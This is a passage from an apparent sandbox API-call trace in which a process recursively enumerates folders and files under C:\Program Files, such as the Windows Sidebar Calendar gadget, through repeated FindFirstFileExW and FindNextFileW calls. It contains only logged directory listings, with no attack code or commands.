hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0244.934] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.934] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.934] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0244.934] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.934] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.934] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.934] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.935] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.935] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0244.935] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.935] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.935] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0244.935] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.935] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.935] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa0b3b490, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b3b490, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.935] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.935] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.935] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0244.935] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0244.935] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0244.936] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.936] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.936] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.936] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.936] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.936] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0244.937] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.937] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.937] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0244.937] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.939] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.939] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.939] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1 [0244.939] lstrcmpW (lpString1="Calendar.Gadget", lpString2=".") returned 1 [0244.939] lstrcmpW (lpString1="Calendar.Gadget", lpString2="..") returned 1 [0244.939] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.939] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.939] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.939] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.940] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.940] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0244.940] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.940] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.940] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.941] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.941] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.942] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0244.942] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.943] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.943] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.943] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.943] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.943] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0244.944] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.944] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.944] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0244.945] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.945] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.945] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.945] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.945] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.945] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0244.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.946] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.946] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0244.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.946] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.946] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0244.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.949] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.949] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.949] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.949] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.949] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0244.963] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.964] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.964] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x2815b8c5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 1 [0244.966] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.967] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.967] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0244.967] FindFirstFileExW (in: 